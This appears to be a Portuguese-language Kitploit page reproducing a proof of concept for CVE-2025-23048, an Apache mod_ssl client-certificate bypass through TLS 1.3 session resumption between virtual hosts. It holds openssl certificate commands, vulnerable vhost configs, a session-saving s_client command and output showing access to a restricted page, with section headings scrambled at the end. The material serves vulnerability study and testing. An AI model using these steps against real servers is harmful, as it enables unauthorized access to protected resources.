CVE-2025-23048-POC — As versões 2.4.35 – 2.4.63 do Apache HTTP Server são vulneráveis a um bypass de autenticação de certificado de cliente quando a retomada de sessão TLS 1.3 é usada entre hosts virtuais com diferentes diretivas `SSLCACertificateFile`. | Kitploit

CVE-2025-23048: Bypass de Certificado de Cliente na Retomada de Sessão TLS 1.3 do Apache mod_ssl

As versões 2.4.35 a 2.4.62 do Apache HTTP Server são vulneráveis a um bypass de autenticação de certificado de cliente quando a retomada de sessão TLS 1.3 é usada entre virtual hosts com diretivas SSLCACertificateFile diferentes.

Um atacante com um certificado de cliente válido para um virtual host pode retomar uma sessão TLS 1.3 em um virtual host diferente que exige um certificado emitido por uma CA distinta — obtendo acesso não autorizado a recursos protegidos.

Ambiente Testado

Apache HTTP Server: 2.4.57 (Win64)
Sistema Operacional: Windows 10 (64-bit)

Configuração do Servidor

1. Instalar o Apache 2.4.57 (Win64)

Download from:

cd C:\Apache24\conf
mkdir ssl
cd ssl

# Server cert (self-signed)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"

# CA1 and client cert for vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365

# CA2 for vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"

# Cleanup
del client_ca1.csr *.srl

<VirtualHost *:443>
    ServerName vhost1.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost1"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
    SSLVerifyClient optional
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location />
        Require ssl-verify-client
    </Location>
</VirtualHost>

<VirtualHost *:443>
    ServerName vhost2.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost2"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"

    SSLVerifyClient optional_no_ca
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location /restricted>
        Require valid-user
    </Location>
</VirtualHost>

mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html

mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html

openssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443

SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Resumption PSK: ...
    TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>

CVE-2025-23048-POC

Mais Populares

Extract to C:\Apache24

3. Configurar o Cache de Sessão SSL

4. Criar o Diretório SSL e Gerar Certificados

5. Configurar Virtual Hosts (`conf\extra\httpd-vhosts.conf`)

6. Criar Conteúdo Protegido

7. Iniciar o Apache

Prova de Conceito

Etapa 1: Handshake Completo com `vhost1` → Salvar Sessão

Etapa 2: Retomar Sessão em `vhost2` → Acessar o Caminho Protegido

Mitigação